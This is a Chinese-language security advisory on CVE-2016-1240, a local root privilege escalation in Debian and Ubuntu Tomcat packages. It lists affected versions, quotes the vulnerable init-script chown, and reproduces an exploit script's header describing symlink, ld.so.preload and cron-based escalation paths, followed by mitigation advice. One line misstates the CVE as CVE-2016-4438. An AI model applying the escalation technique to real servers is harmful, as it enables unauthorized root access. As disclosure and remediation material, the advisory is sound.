Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器，按照Sun Microsystems提供的技术规范，实现了对Servlet和JavaServer Page（JSP）的支持，并提供了作为Web服务器的一些特有功能，如Tomcat管理和控制平台、安全域管理和Tomcat阀等。
10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。
漏洞相关信息：
CVE ID:
CVE-2016-1240
影响范围：
Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1
受影响的系统包括Debian、Ubuntu，其他使用相应deb包的系统也可能受到影响。
漏洞描述：
Debian系统的linux上管理员通常利用apt-get进行包管理，CVE-2016-4438这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本：/etc/init.d/tocat* 利用该脚本，可导致攻击者通过低权限的Tomcat用户获得系统root权限！
# Run the catalina.sh script as a daemon
set +e
touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
本地攻击者，作为tomcat用户（比如说，通过web应用的漏洞）若将catalina.out修改为指向任意系统文件的链接，一旦Tomcat init脚本（ROOT权限运行）在服务重启后再次打开catalina.out文件，攻击者就可获取ROOT权限。

# Tomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a
# vulnerable java webapp, or locally via weak permissions on webapps in the
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) – which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted.
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) – this mode symlinks the logfile to
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting.
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default
# Ubuntu/Debian Tomcat installations).

应急修复方案：
1.临时修复建议
如对更新包风险的考虑,可先更改Tomcat的启动脚本为 chown -h $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
加入 – h参数防止其他文件所有者被更改。
2. 更新最新Tomcat包
更新至系统提供的最新版Tomcat包即可。
